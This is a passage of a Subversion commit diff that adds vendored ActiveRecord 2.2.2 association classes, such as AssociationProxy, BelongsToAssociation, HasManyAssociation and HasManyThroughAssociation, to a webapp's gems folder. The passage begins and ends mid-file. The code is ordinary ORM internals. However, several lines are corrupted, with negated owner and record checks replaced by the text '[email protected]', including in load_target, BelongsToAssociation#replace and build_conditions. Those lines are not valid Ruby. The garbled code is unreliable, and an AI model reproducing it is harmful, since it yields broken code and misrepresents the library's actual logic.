+        def reset_target!
+          @target = Array.new
+        end
+
+        def find_target
+          records =
+            if @reflection.options[:finder_sql]
+              @reflection.klass.find_by_sql(@finder_sql)
+            else
+              find(:all)
+            end
+
+          @reflection.options[:uniq] ? uniq(records) : records
+        end
+
+      private
+
+        def create_record(attrs)
+          attrs.update(@reflection.options[:conditions]) if @reflection.options[:conditions].is_a?(Hash)
+          ensure_owner_is_not_new
+          record = @reflection.klass.send(:with_scope, :create => construct_scope[:create]) do
+            @reflection.build_association(attrs)
+          end
+          if block_given?
+            add_record_to_target_with_callbacks(record) { |*block_args| yield(*block_args) }
+          else
+            add_record_to_target_with_callbacks(record)
+          end
+        end
+
+        def build_record(attrs)
+          attrs.update(@reflection.options[:conditions]) if @reflection.options[:conditions].is_a?(Hash)
+          record = @reflection.build_association(attrs)
+          if block_given?
+            add_record_to_target_with_callbacks(record) { |*block_args| yield(*block_args) }
+          else
+            add_record_to_target_with_callbacks(record)
+          end
+        end
+
+        def add_record_to_target_with_callbacks(record)
+          callback(:before_add, record)
+          yield(record) if block_given?
+          @target ||= [] unless loaded?
+          @target << record unless @reflection.options[:uniq] && @target.include?(record)
+          callback(:after_add, record)
+          record
+        end
+
+        def callback(method, record)
+          callbacks_for(method).each do |callback|
+            ActiveSupport::Callbacks::Callback.new(method, callback, record).call(@owner, record)
+          end
+        end
+
+        def callbacks_for(callback_name)
+          full_callback_name = "#{callback_name}_for_#{@reflection.name}"
+          @owner.class.read_inheritable_attribute(full_callback_name.to_sym) || []
+        end   
+        
+        def ensure_owner_is_not_new
+          if @owner.new_record?
+            raise ActiveRecord::RecordNotSaved, "You cannot call create unless the parent is saved"
+          end
+        end
+
+        def fetch_first_or_last_using_find?(args)
+          args.first.kind_of?(Hash) || !(loaded? || @owner.new_record? || @reflection.options[:finder_sql] ||
+                                         @target.any? { |record| record.new_record? } || args.first.kind_of?(Integer))
+        end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/associations/association_proxy.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/associations/association_proxy.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/associations/association_proxy.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,272 @@
+module ActiveRecord
+  module Associations
+    # This is the root class of all association proxies:
+    #
+    #   AssociationProxy
+    #     BelongsToAssociation
+    #       HasOneAssociation
+    #     BelongsToPolymorphicAssociation
+    #     AssociationCollection
+    #       HasAndBelongsToManyAssociation
+    #       HasManyAssociation
+    #         HasManyThroughAssociation
+    #            HasOneThroughAssociation
+    #
+    # Association proxies in Active Record are middlemen between the object that
+    # holds the association, known as the <tt>@owner</tt>, and the actual associated
+    # object, known as the <tt>@target</tt>. The kind of association any proxy is
+    # about is available in <tt>@reflection</tt>. That's an instance of the class
+    # ActiveRecord::Reflection::AssociationReflection.
+    #
+    # For example, given
+    #
+    #   class Blog < ActiveRecord::Base
+    #     has_many :posts
+    #   end
+    #
+    #   blog = Blog.find(:first)
+    #
+    # the association proxy in <tt>blog.posts</tt> has the object in +blog+ as
+    # <tt>@owner</tt>, the collection of its posts as <tt>@target</tt>, and
+    # the <tt>@reflection</tt> object represents a <tt>:has_many</tt> macro.
+    #
+    # This class has most of the basic instance methods removed, and delegates
+    # unknown methods to <tt>@target</tt> via <tt>method_missing</tt>. As a
+    # corner case, it even removes the +class+ method and that's why you get
+    #
+    #   blog.posts.class # => Array
+    #
+    # though the object behind <tt>blog.posts</tt> is not an Array, but an
+    # ActiveRecord::Associations::HasManyAssociation.
+    #
+    # The <tt>@target</tt> object is not \loaded until needed. For example,
+    #
+    #   blog.posts.count
+    #
+    # is computed directly through SQL and does not trigger by itself the
+    # instantiation of the actual post records.
+    class AssociationProxy #:nodoc:
+      alias_method :proxy_respond_to?, :respond_to?
+      alias_method :proxy_extend, :extend
+      delegate :to_param, :to => :proxy_target
+      instance_methods.each { |m| undef_method m unless m =~ /(^__|^nil\?$|^send$|proxy_|^object_id$)/ }
+
+      def initialize(owner, reflection)
+        @owner, @reflection = owner, reflection
+        Array(reflection.options[:extend]).each { |ext| proxy_extend(ext) }
+        reset
+      end
+
+      # Returns the owner of the proxy.
+      def proxy_owner
+        @owner
+      end
+
+      # Returns the reflection object that represents the association handled
+      # by the proxy.
+      def proxy_reflection
+        @reflection
+      end
+
+      # Returns the \target of the proxy, same as +target+.
+      def proxy_target
+        @target
+      end
+
+      # Does the proxy or its \target respond to +symbol+?
+      def respond_to?(*args)
+        proxy_respond_to?(*args) || (load_target && @target.respond_to?(*args))
+      end
+
+      # Forwards <tt>===</tt> explicitly to the \target because the instance method
+      # removal above doesn't catch it. Loads the \target if needed.
+      def ===(other)
+        load_target
+        other === @target
+      end
+
+      # Returns the name of the table of the related class:
+      #
+      #   post.comments.aliased_table_name # => "comments"
+      #
+      def aliased_table_name
+        @reflection.klass.table_name
+      end
+
+      # Returns the SQL string that corresponds to the <tt>:conditions</tt>
+      # option of the macro, if given, or +nil+ otherwise.
+      def conditions
+        @conditions ||= interpolate_sql(@reflection.sanitized_conditions) if @reflection.sanitized_conditions
+      end
+      alias :sql_conditions :conditions
+
+      # Resets the \loaded flag to +false+ and sets the \target to +nil+.
+      def reset
+        @loaded = false
+        @target = nil
+      end
+
+      # Reloads the \target and returns +self+ on success.
+      def reload
+        reset
+        load_target
+        self unless @target.nil?
+      end
+
+      # Has the \target been already \loaded?
+      def loaded?
+        @loaded
+      end
+
+      # Asserts the \target has been loaded setting the \loaded flag to +true+.
+      def loaded
+        @loaded = true
+      end
+
+      # Returns the target of this proxy, same as +proxy_target+.
+      def target
+        @target
+      end
+
+      # Sets the target of this proxy to <tt>\target</tt>, and the \loaded flag to +true+.
+      def target=(target)
+        @target = target
+        loaded
+      end
+
+      # Forwards the call to the target. Loads the \target if needed.
+      def inspect
+        load_target
+        @target.inspect
+      end
+
+      def send(method, *args)
+        if proxy_respond_to?(method)
+          super
+        else
+          load_target
+          @target.send(method, *args)
+        end
+      end
+
+      protected
+        # Does the association have a <tt>:dependent</tt> option?
+        def dependent?
+          @reflection.options[:dependent]
+        end
+
+        # Returns a string with the IDs of +records+ joined with a comma, quoted
+        # if needed. The result is ready to be inserted into a SQL IN clause.
+        #
+        #   quoted_record_ids(records) # => "23,56,58,67"
+        #
+        def quoted_record_ids(records)
+          records.map { |record| record.quoted_id }.join(',')
+        end
+
+        def interpolate_sql(sql, record = nil)
+          @owner.send(:interpolate_sql, sql, record)
+        end
+
+        # Forwards the call to the reflection class.
+        def sanitize_sql(sql)
+          @reflection.klass.send(:sanitize_sql, sql)
+        end
+
+        # Assigns the ID of the owner to the corresponding foreign key in +record+.
+        # If the association is polymorphic the type of the owner is also set.
+        def set_belongs_to_association_for(record)
+          if @reflection.options[:as]
+            record["#{@reflection.options[:as]}_id"]   = @owner.id unless @owner.new_record?
+            record["#{@reflection.options[:as]}_type"] = @owner.class.base_class.name.to_s
+          else
+            record[@reflection.primary_key_name] = @owner.id unless @owner.new_record?
+          end
+        end
+
+        # Merges into +options+ the ones coming from the reflection.
+        def merge_options_from_reflection!(options)
+          options.reverse_merge!(
+            :group   => @reflection.options[:group],
+            :limit   => @reflection.options[:limit],
+            :offset  => @reflection.options[:offset],
+            :joins   => @reflection.options[:joins],
+            :include => @reflection.options[:include],
+            :select  => @reflection.options[:select],
+            :readonly  => @reflection.options[:readonly]
+          )
+        end
+
+        # Forwards +with_scope+ to the reflection.
+        def with_scope(*args, &block)
+          @reflection.klass.send :with_scope, *args, &block
+        end
+
+      private
+        # Forwards any missing method call to the \target.
+        def method_missing(method, *args)
+          if load_target
+            raise NoMethodError unless @target.respond_to?(method)
+
+            if block_given?
+              @target.send(method, *args)  { |*block_args| yield(*block_args) }
+            else
+              @target.send(method, *args)
+            end
+          end
+        end
+
+        # Loads the \target if needed and returns it.
+        #
+        # This method is abstract in the sense that it relies on +find_target+,
+        # which is expected to be provided by descendants.
+        #
+        # If the \target is already \loaded it is just returned. Thus, you can call
+        # +load_target+ unconditionally to get the \target.
+        #
+        # ActiveRecord::RecordNotFound is rescued within the method, and it is
+        # not reraised. The proxy is \reset and +nil+ is the return value.
+        def load_target
+          return nil unless defined?(@loaded)
+
+          if !loaded? and ([email protected]_record? || foreign_key_present)
+            @target = find_target
+          end
+
+          @loaded = true
+          @target
+        rescue ActiveRecord::RecordNotFound
+          reset
+        end
+
+        # Can be overwritten by associations that might have the foreign key
+        # available for an association without having the object itself (and
+        # still being a new record). Currently, only +belongs_to+ presents
+        # this scenario (both vanilla and polymorphic).
+        def foreign_key_present
+          false
+        end
+
+        # Raises ActiveRecord::AssociationTypeMismatch unless +record+ is of
+        # the kind of the class of the associated objects. Meant to be used as
+        # a sanity check when you are about to assign an associated record.
+        def raise_on_type_mismatch(record)
+          unless record.is_a?(@reflection.klass) || record.is_a?(@reflection.class_name.constantize)
+            message = "#{@reflection.class_name}(##{@reflection.klass.object_id}) expected, got #{record.class}(##{record.class.object_id})"
+            raise ActiveRecord::AssociationTypeMismatch, message
+          end
+        end
+
+        # Array#flatten has problems with recursive arrays. Going one level
+        # deeper solves the majority of the problems.
+        def flatten_deeper(array)
+          array.collect { |element| (element.respond_to?(:flatten) && !element.is_a?(Hash)) ? element.flatten : element }.flatten
+        end
+
+        # Returns the ID of the owner, quoted if needed.
+        def owner_quoted_id
+          @owner.quoted_id
+        end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/associations/belongs_to_association.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/associations/belongs_to_association.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/associations/belongs_to_association.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,58 @@
+module ActiveRecord
+  module Associations
+    class BelongsToAssociation < AssociationProxy #:nodoc:
+      def create(attributes = {})
+        replace(@reflection.create_association(attributes))
+      end
+
+      def build(attributes = {})
+        replace(@reflection.build_association(attributes))
+      end
+
+      def replace(record)
+        counter_cache_name = @reflection.counter_cache_column
+
+        if record.nil?
+          if counter_cache_name && [email protected]_record?
+            @reflection.klass.decrement_counter(counter_cache_name, @owner[@reflection.primary_key_name]) if @owner[@reflection.primary_key_name]
+          end
+
+          @target = @owner[@reflection.primary_key_name] = nil
+        else
+          raise_on_type_mismatch(record)
+
+          if counter_cache_name && [email protected]_record?
+            @reflection.klass.increment_counter(counter_cache_name, record.id)
+            @reflection.klass.decrement_counter(counter_cache_name, @owner[@reflection.primary_key_name]) if @owner[@reflection.primary_key_name]
+          end
+
+          @target = (AssociationProxy === record ? record.target : record)
+          @owner[@reflection.primary_key_name] = record.id unless record.new_record?
+          @updated = true
+        end
+
+        loaded
+        record
+      end
+      
+      def updated?
+        @updated
+      end
+      
+      private
+        def find_target
+          @reflection.klass.find(
+            @owner[@reflection.primary_key_name],
+            :select     => @reflection.options[:select],
+            :conditions => conditions,
+            :include    => @reflection.options[:include],
+            :readonly   => @reflection.options[:readonly]
+          )
+        end
+
+        def foreign_key_present
+          !@owner[@reflection.primary_key_name].nil?
+        end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/associations/belongs_to_polymorphic_association.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/associations/belongs_to_polymorphic_association.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/associations/belongs_to_polymorphic_association.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,49 @@
+module ActiveRecord
+  module Associations
+    class BelongsToPolymorphicAssociation < AssociationProxy #:nodoc:
+      def replace(record)
+        if record.nil?
+          @target = @owner[@reflection.primary_key_name] = @owner[@reflection.options[:foreign_type]] = nil
+        else
+          @target = (AssociationProxy === record ? record.target : record)
+
+          @owner[@reflection.primary_key_name] = record.id
+          @owner[@reflection.options[:foreign_type]] = record.class.base_class.name.to_s
+
+          @updated = true
+        end
+
+        loaded
+        record
+      end
+
+      def updated?
+        @updated
+      end
+
+      private
+        def find_target
+          return nil if association_class.nil?
+
+          if @reflection.options[:conditions]
+            association_class.find(
+              @owner[@reflection.primary_key_name],
+              :select     => @reflection.options[:select],
+              :conditions => conditions,
+              :include    => @reflection.options[:include]
+            )
+          else
+            association_class.find(@owner[@reflection.primary_key_name], :select => @reflection.options[:select], :include => @reflection.options[:include])
+          end
+        end
+
+        def foreign_key_present
+          !@owner[@reflection.primary_key_name].nil?
+        end
+
+        def association_class
+          @owner[@reflection.options[:foreign_type]] ? @owner[@reflection.options[:foreign_type]].constantize : nil
+        end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/associations/has_and_belongs_to_many_association.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/associations/has_and_belongs_to_many_association.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/associations/has_and_belongs_to_many_association.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,121 @@
+module ActiveRecord
+  module Associations
+    class HasAndBelongsToManyAssociation < AssociationCollection #:nodoc:
+      def create(attributes = {})
+        create_record(attributes) { |record| insert_record(record) }
+      end
+
+      def create!(attributes = {})
+        create_record(attributes) { |record| insert_record(record, true) }
+      end
+
+      protected
+        def construct_find_options!(options)
+          options[:joins]      = @join_sql
+          options[:readonly]   = finding_with_ambiguous_select?(options[:select] || @reflection.options[:select])
+          options[:select]   ||= (@reflection.options[:select] || '*')
+        end
+        
+        def count_records
+          load_target.size
+        end
+
+        def insert_record(record, force=true)
+          if record.new_record?
+            if force
+              record.save!
+            else
+              return false unless record.save
+            end
+          end
+
+          if @reflection.options[:insert_sql]
+            @owner.connection.insert(interpolate_sql(@reflection.options[:insert_sql], record))
+          else
+            columns = @owner.connection.columns(@reflection.options[:join_table], "#{@reflection.options[:join_table]} Columns")
+
+            attributes = columns.inject({}) do |attrs, column|
+              case column.name.to_s
+                when @reflection.primary_key_name.to_s
+                  attrs[column.name] = owner_quoted_id
+                when @reflection.association_foreign_key.to_s
+                  attrs[column.name] = record.quoted_id
+                else
+                  if record.has_attribute?(column.name)
+                    value = @owner.send(:quote_value, record[column.name], column)
+                    attrs[column.name] = value unless value.nil?
+                  end
+              end
+              attrs
+            end
+
+            sql =
+              "INSERT INTO #{@owner.connection.quote_table_name @reflection.options[:join_table]} (#{@owner.send(:quoted_column_names, attributes).join(', ')}) " +
+              "VALUES (#{attributes.values.join(', ')})"
+
+            @owner.connection.insert(sql)
+          end
+
+          return true
+        end
+
+        def delete_records(records)
+          if sql = @reflection.options[:delete_sql]
+            records.each { |record| @owner.connection.delete(interpolate_sql(sql, record)) }
+          else
+            ids = quoted_record_ids(records)
+            sql = "DELETE FROM #{@owner.connection.quote_table_name @reflection.options[:join_table]} WHERE #{@reflection.primary_key_name} = #{owner_quoted_id} AND #{@reflection.association_foreign_key} IN (#{ids})"
+            @owner.connection.delete(sql)
+          end
+        end
+
+        def construct_sql
+          if @reflection.options[:finder_sql]
+            @finder_sql = interpolate_sql(@reflection.options[:finder_sql])
+          else
+            @finder_sql = "#{@owner.connection.quote_table_name @reflection.options[:join_table]}.#{@reflection.primary_key_name} = #{owner_quoted_id} "
+            @finder_sql << " AND (#{conditions})" if conditions
+          end
+
+          @join_sql = "INNER JOIN #{@owner.connection.quote_table_name @reflection.options[:join_table]} ON #{@reflection.quoted_table_name}.#{@reflection.klass.primary_key} = #{@owner.connection.quote_table_name @reflection.options[:join_table]}.#{@reflection.association_foreign_key}"
+
+          if @reflection.options[:counter_sql]
+            @counter_sql = interpolate_sql(@reflection.options[:counter_sql])
+          elsif @reflection.options[:finder_sql]
+            # replace the SELECT clause with COUNT(*), preserving any hints within /* ... */
+            @reflection.options[:counter_sql] = @reflection.options[:finder_sql].sub(/SELECT (\/\*.*?\*\/ )?(.*)\bFROM\b/im) { "SELECT #{$1}COUNT(*) FROM" }
+            @counter_sql = interpolate_sql(@reflection.options[:counter_sql])
+          else
+            @counter_sql = @finder_sql
+          end
+        end
+
+        def construct_scope
+          { :find => {  :conditions => @finder_sql,
+                        :joins => @join_sql,
+                        :readonly => false,
+                        :order => @reflection.options[:order],
+                        :include => @reflection.options[:include],
+                        :limit => @reflection.options[:limit] } }
+        end
+
+        # Join tables with additional columns on top of the two foreign keys must be considered ambiguous unless a select
+        # clause has been explicitly defined. Otherwise you can get broken records back, if, for example, the join column also has
+        # an id column. This will then overwrite the id column of the records coming back.
+        def finding_with_ambiguous_select?(select_clause)
+          !select_clause && @owner.connection.columns(@reflection.options[:join_table], "Join Table Columns").size != 2
+        end
+
+      private
+        def create_record(attributes, &block)
+          # Can't use Base.create because the foreign key may be a protected attribute.
+          ensure_owner_is_not_new
+          if attributes.is_a?(Array)
+            attributes.collect { |attr| create(attr) }
+          else
+            build_record(attributes, &block)
+          end
+        end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/associations/has_many_association.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/associations/has_many_association.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/associations/has_many_association.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,121 @@
+module ActiveRecord
+  module Associations
+    # This is the proxy that handles a has many association.
+    #
+    # If the association has a <tt>:through</tt> option further specialization
+    # is provided by its child HasManyThroughAssociation.
+    class HasManyAssociation < AssociationCollection #:nodoc:
+      protected
+        def owner_quoted_id
+          if @reflection.options[:primary_key]
+            quote_value(@owner.send(@reflection.options[:primary_key]))
+          else
+            @owner.quoted_id
+          end
+        end
+
+        # Returns the number of records in this collection.
+        #
+        # If the association has a counter cache it gets that value. Otherwise
+        # it will attempt to do a count via SQL, bounded to <tt>:limit</tt> if
+        # there's one.  Some configuration options like :group make it impossible
+        # to do a SQL count, in those cases the array count will be used.
+        #
+        # That does not depend on whether the collection has already been loaded
+        # or not. The +size+ method is the one that takes the loaded flag into
+        # account and delegates to +count_records+ if needed.
+        #
+        # If the collection is empty the target is set to an empty array and
+        # the loaded flag is set to true as well.
+        def count_records
+          count = if has_cached_counter?
+            @owner.send(:read_attribute, cached_counter_attribute_name)
+          elsif @reflection.options[:counter_sql]
+            @reflection.klass.count_by_sql(@counter_sql)
+          else
+            @reflection.klass.count(:conditions => @counter_sql, :include => @reflection.options[:include])
+          end
+
+          # If there's nothing in the database and @target has no new records
+          # we are certain the current target is an empty array. This is a
+          # documented side-effect of the method that may avoid an extra SELECT.
+          @target ||= [] and loaded if count == 0
+          
+          if @reflection.options[:limit]
+            count = [ @reflection.options[:limit], count ].min
+          end
+          
+          return count
+        end
+
+        def has_cached_counter?
+          @owner.attribute_present?(cached_counter_attribute_name)
+        end
+
+        def cached_counter_attribute_name
+          "#{@reflection.name}_count"
+        end
+
+        def insert_record(record)
+          set_belongs_to_association_for(record)
+          record.save
+        end
+
+        # Deletes the records according to the <tt>:dependent</tt> option.
+        def delete_records(records)
+          case @reflection.options[:dependent]
+            when :destroy
+              records.each { |r| r.destroy }
+            when :delete_all
+              @reflection.klass.delete(records.map { |record| record.id })
+            else
+              ids = quoted_record_ids(records)
+              @reflection.klass.update_all(
+                "#{@reflection.primary_key_name} = NULL", 
+                "#{@reflection.primary_key_name} = #{owner_quoted_id} AND #{@reflection.klass.primary_key} IN (#{ids})"
+              )
+          end
+        end
+
+        def target_obsolete?
+          false
+        end
+
+        def construct_sql
+          case
+            when @reflection.options[:finder_sql]
+              @finder_sql = interpolate_sql(@reflection.options[:finder_sql])
+
+            when @reflection.options[:as]
+              @finder_sql = 
+                "#{@reflection.quoted_table_name}.#{@reflection.options[:as]}_id = #{owner_quoted_id} AND " +
+                "#{@reflection.quoted_table_name}.#{@reflection.options[:as]}_type = #{@owner.class.quote_value(@owner.class.base_class.name.to_s)}"
+              @finder_sql << " AND (#{conditions})" if conditions
+            
+            else
+              @finder_sql = "#{@reflection.quoted_table_name}.#{@reflection.primary_key_name} = #{owner_quoted_id}"
+              @finder_sql << " AND (#{conditions})" if conditions
+          end
+
+          if @reflection.options[:counter_sql]
+            @counter_sql = interpolate_sql(@reflection.options[:counter_sql])
+          elsif @reflection.options[:finder_sql]
+            # replace the SELECT clause with COUNT(*), preserving any hints within /* ... */
+            @reflection.options[:counter_sql] = @reflection.options[:finder_sql].sub(/SELECT (\/\*.*?\*\/ )?(.*)\bFROM\b/im) { "SELECT #{$1}COUNT(*) FROM" }
+            @counter_sql = interpolate_sql(@reflection.options[:counter_sql])
+          else
+            @counter_sql = @finder_sql
+          end
+        end
+
+        def construct_scope
+          create_scoping = {}
+          set_belongs_to_association_for(create_scoping)
+          {
+            :find => { :conditions => @finder_sql, :readonly => false, :order => @reflection.options[:order], :limit => @reflection.options[:limit], :include => @reflection.options[:include]},
+            :create => create_scoping
+          }
+        end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/associations/has_many_through_association.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/associations/has_many_through_association.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/associations/has_many_through_association.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,256 @@
+module ActiveRecord
+  module Associations
+    class HasManyThroughAssociation < HasManyAssociation #:nodoc:
+      def initialize(owner, reflection)
+        reflection.check_validity!
+        super
+      end
+
+      alias_method :new, :build
+
+      def create!(attrs = nil)
+        transaction do
+          self << (object = attrs ? @reflection.klass.send(:with_scope, :create => attrs) { @reflection.create_association! } : @reflection.create_association!)
+          object
+        end
+      end
+
+      def create(attrs = nil)
+        transaction do
+          self << (object = attrs ? @reflection.klass.send(:with_scope, :create => attrs) { @reflection.create_association } : @reflection.create_association)
+          object
+        end
+      end
+
+      # Returns the size of the collection by executing a SELECT COUNT(*) query if the collection hasn't been loaded and
+      # calling collection.size if it has. If it's more likely than not that the collection does have a size larger than zero
+      # and you need to fetch that collection afterwards, it'll take one less SELECT query if you use length.
+      def size
+        return @owner.send(:read_attribute, cached_counter_attribute_name) if has_cached_counter?
+        return @target.size if loaded?
+        return count
+      end
+      
+      protected
+        def target_reflection_has_associated_record?
+          if @reflection.through_reflection.macro == :belongs_to && @owner[@reflection.through_reflection.primary_key_name].blank?
+            false
+          else
+            true
+          end
+        end
+
+        def construct_find_options!(options)
+          options[:select]  = construct_select(options[:select])
+          options[:from]  ||= construct_from
+          options[:joins]   = construct_joins(options[:joins])
+          options[:include] = @reflection.source_reflection.options[:include] if options[:include].nil?
+        end
+        
+        def insert_record(record, force=true)
+          if record.new_record?
+            if force
+              record.save!
+            else
+              return false unless record.save
+            end
+          end
+          through_reflection = @reflection.through_reflection
+          klass = through_reflection.klass
+          @owner.send(@reflection.through_reflection.name).proxy_target << klass.send(:with_scope, :create => construct_join_attributes(record)) { through_reflection.create_association! }
+        end
+
+        # TODO - add dependent option support
+        def delete_records(records)
+          klass = @reflection.through_reflection.klass
+          records.each do |associate|
+            klass.delete_all(construct_join_attributes(associate))
+          end
+        end
+
+        def find_target
+          return [] unless target_reflection_has_associated_record?
+          @reflection.klass.find(:all,
+            :select     => construct_select,
+            :conditions => construct_conditions,
+            :from       => construct_from,
+            :joins      => construct_joins,
+            :order      => @reflection.options[:order],
+            :limit      => @reflection.options[:limit],
+            :group      => @reflection.options[:group],
+            :readonly   => @reflection.options[:readonly],
+            :include    => @reflection.options[:include] || @reflection.source_reflection.options[:include]
+          )
+        end
+
+        # Construct attributes for associate pointing to owner.
+        def construct_owner_attributes(reflection)
+          if as = reflection.options[:as]
+            { "#{as}_id" => @owner.id,
+              "#{as}_type" => @owner.class.base_class.name.to_s }
+          else
+            { reflection.primary_key_name => @owner.id }
+          end
+        end
+
+        # Construct attributes for :through pointing to owner and associate.
+        def construct_join_attributes(associate)
+          # TODO: revist this to allow it for deletion, supposing dependent option is supported
+          raise ActiveRecord::HasManyThroughCantAssociateThroughHasManyReflection.new(@owner, @reflection) if @reflection.source_reflection.macro == :has_many
+          join_attributes = construct_owner_attributes(@reflection.through_reflection).merge(@reflection.source_reflection.primary_key_name => associate.id)
+          if @reflection.options[:source_type]
+            join_attributes.merge!(@reflection.source_reflection.options[:foreign_type] => associate.class.base_class.name.to_s)
+          end
+          join_attributes
+        end
+
+        # Associate attributes pointing to owner, quoted.
+        def construct_quoted_owner_attributes(reflection)
+          if as = reflection.options[:as]
+            { "#{as}_id" => owner_quoted_id,
+              "#{as}_type" => reflection.klass.quote_value(
+                @owner.class.base_class.name.to_s,
+                reflection.klass.columns_hash["#{as}_type"]) }
+          elsif reflection.macro == :belongs_to
+            { reflection.klass.primary_key => @owner[reflection.primary_key_name] }
+          else
+            { reflection.primary_key_name => owner_quoted_id }
+          end
+        end
+
+        # Build SQL conditions from attributes, qualified by table name.
+        def construct_conditions
+          table_name = @reflection.through_reflection.quoted_table_name
+          conditions = construct_quoted_owner_attributes(@reflection.through_reflection).map do |attr, value|
+            "#{table_name}.#{attr} = #{value}"
+          end
+          conditions << sql_conditions if sql_conditions
+          "(" + conditions.join(') AND (') + ")"
+        end
+
+        def construct_from
+          @reflection.quoted_table_name
+        end
+
+        def construct_select(custom_select = nil)
+          distinct = "DISTINCT " if @reflection.options[:uniq]
+          selected = custom_select || @reflection.options[:select] || "#{distinct}#{@reflection.quoted_table_name}.*"
+        end
+
+        def construct_joins(custom_joins = nil)
+          polymorphic_join = nil
+          if @reflection.source_reflection.macro == :belongs_to
+            reflection_primary_key = @reflection.klass.primary_key
+            source_primary_key     = @reflection.source_reflection.primary_key_name
+            if @reflection.options[:source_type]
+              polymorphic_join = "AND %s.%s = %s" % [
+                @reflection.through_reflection.quoted_table_name, "#{@reflection.source_reflection.options[:foreign_type]}",
+                @owner.class.quote_value(@reflection.options[:source_type])
+              ]
+            end
+          else
+            reflection_primary_key = @reflection.source_reflection.primary_key_name
+            source_primary_key     = @reflection.klass.primary_key
+            if @reflection.source_reflection.options[:as]
+              polymorphic_join = "AND %s.%s = %s" % [
+                @reflection.quoted_table_name, "#{@reflection.source_reflection.options[:as]}_type",
+                @owner.class.quote_value(@reflection.through_reflection.klass.name)
+              ]
+            end
+          end
+
+          "INNER JOIN %s ON %s.%s = %s.%s %s #{@reflection.options[:joins]} #{custom_joins}" % [
+            @reflection.through_reflection.table_name,
+            @reflection.table_name, reflection_primary_key,
+            @reflection.through_reflection.table_name, source_primary_key,
+            polymorphic_join
+          ]
+        end
+
+        def construct_scope
+          { :create => construct_owner_attributes(@reflection),
+            :find   => { :from        => construct_from,
+                         :conditions  => construct_conditions,
+                         :joins       => construct_joins,
+                         :include     => @reflection.options[:include],
+                         :select      => construct_select,
+                         :order       => @reflection.options[:order],
+                         :limit       => @reflection.options[:limit],
+                         :readonly    => @reflection.options[:readonly],
+             } }
+        end
+
+        def construct_sql
+          case
+            when @reflection.options[:finder_sql]
+              @finder_sql = interpolate_sql(@reflection.options[:finder_sql])
+
+              @finder_sql = "#{@reflection.quoted_table_name}.#{@reflection.primary_key_name} = #{owner_quoted_id}"
+              @finder_sql << " AND (#{conditions})" if conditions
+            else
+              @finder_sql = construct_conditions
+          end
+
+          if @reflection.options[:counter_sql]
+            @counter_sql = interpolate_sql(@reflection.options[:counter_sql])
+          elsif @reflection.options[:finder_sql]
+            # replace the SELECT clause with COUNT(*), preserving any hints within /* ... */
+            @reflection.options[:counter_sql] = @reflection.options[:finder_sql].sub(/SELECT (\/\*.*?\*\/ )?(.*)\bFROM\b/im) { "SELECT #{$1}COUNT(*) FROM" }
+            @counter_sql = interpolate_sql(@reflection.options[:counter_sql])
+          else
+            @counter_sql = @finder_sql
+          end
+        end
+
+        def conditions
+          @conditions = build_conditions unless defined?(@conditions)
+          @conditions
+        end
+
+        def build_conditions
+          association_conditions = @reflection.options[:conditions]
+          through_conditions = build_through_conditions
+          source_conditions = @reflection.source_reflection.options[:conditions]
+          uses_sti = [email protected]_reflection.klass.descends_from_active_record?
+
+          if association_conditions || through_conditions || source_conditions || uses_sti
+            all = []
+
+            [association_conditions, source_conditions].each do |conditions|
+              all << interpolate_sql(sanitize_sql(conditions)) if conditions
+            end
+
+            all << through_conditions  if through_conditions
+            all << build_sti_condition if uses_sti
+
+            all.map { |sql| "(#{sql})" } * ' AND '
+          end
+        end
+
+        def build_through_conditions
+          conditions = @reflection.through_reflection.options[:conditions]
+          if conditions.is_a?(Hash)
+            interpolate_sql(sanitize_sql(conditions)).gsub(
+              @reflection.quoted_table_name,
+              @reflection.through_reflection.quoted_table_name)
+          elsif conditions
+            interpolate_sql(sanitize_sql(conditions))
+          end
+        end
+        
+        def build_sti_condition
+          @reflection.through_reflection.klass.send(:type_condition)
+        end
+
+        alias_method :sql_conditions, :conditions
+
+        def has_cached_counter?
+          @owner.attribute_present?(cached_counter_attribute_name)
+        end
+
+        def cached_counter_attribute_name
+          "#{@reflection.name}_count"
+        end
+    end
